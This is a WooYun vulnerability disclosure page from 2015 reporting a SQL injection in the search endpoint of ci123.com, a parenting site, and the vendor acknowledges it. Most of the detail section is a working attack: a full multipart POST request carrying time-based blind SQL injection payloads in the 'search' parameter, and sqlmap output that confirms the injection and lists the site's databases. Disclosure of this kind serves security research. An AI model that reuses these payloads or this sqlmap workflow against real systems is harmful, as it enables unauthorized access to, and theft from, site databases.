当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0124029

漏洞标题:育儿网主站某处SQL注入

相关厂商:ci123.com

漏洞作者: 路人甲

提交时间:2015-07-02 10:13

修复时间:2015-08-16 13:26

公开时间:2015-08-16 13:26

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-02: 细节已通知厂商并且等待厂商处理中
2015-07-02: 厂商已经确认,细节仅向厂商公开
2015-07-12: 细节向核心白帽子及相关领域专家公开
2015-07-22: 细节向普通白帽子公开
2015-08-01: 细节向实习白帽子公开
2015-08-16: 细节向公众公开

简要描述:

其实····提交你们厂商的漏洞很没有意思 一个注入才5分 到手的才2分 为了道义 还是发出来吧 不说了 评分最多也只是 中 5

详细说明:

POST数据包:

POST /baike/nbnc/sub/search_sub.php HTTP/1.1
Content-Length: 338
Content-Type: multipart/form-data; boundary=-----AcunetixBoundary_ARFKKNOLUR
X-Requested-With: XMLHttpRequest
Referer: http://www.ci123.com:80/
Host: www.ci123.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
Content-Type: multipart/form-data; boundary=-----AcunetixBoundary_CUMLGGTJEI
-------AcunetixBoundary_CUMLGGTJEI
Content-Disposition: form-data; name="submit"
############
-------AcunetixBoundary_CUMLGGTJEI
Content-Disposition: form-data; name="search"
if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/
-------AcunetixBoundary_CUMLGGTJEI--


参数 search 处 可注入

0.png


漏洞证明:

(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the oth
ers (if any)? [y/N] n
sqlmap identified the following injection points with a total of 106 HTTP(s) req
uests:
---
Parameter: #1* ((custom) POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: -------AcunetixBoundary_CUMLGGTJEI
Content-Disposition: form-data; name="submit"
############
-------AcunetixBoundary_CUMLGGTJEI
Content-Disposition: form-data; name="search"
if(now()=sysdate(),sleep(0),0)/' AND (SELECT * FROM (SELECT(SLEEP(5)))oTsc) AND
'fFMD'='fFMD'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep
(0),0))OR"/
-------AcunetixBoundary_CUMLGGTJEI--
---
[00:51:16] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.12
[00:51:16] [INFO] fetching database names
[00:51:16] [INFO] fetching number of databases
[00:51:16] [INFO] retrieved:
[00:51:16] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n] y
2
[00:51:48] [INFO] retrieved:
[00:51:53] [INFO] adjusting time delay to 2 seconds due to good response times
information_schema
[00:54:35] [INFO] retrieved: baike
available databases [2]:
[*] baike
[*] information_schema
[00:55:12] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.ci123.com'

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-07-02 13:24

厂商回复:

感谢反馈!

最新状态:

暂无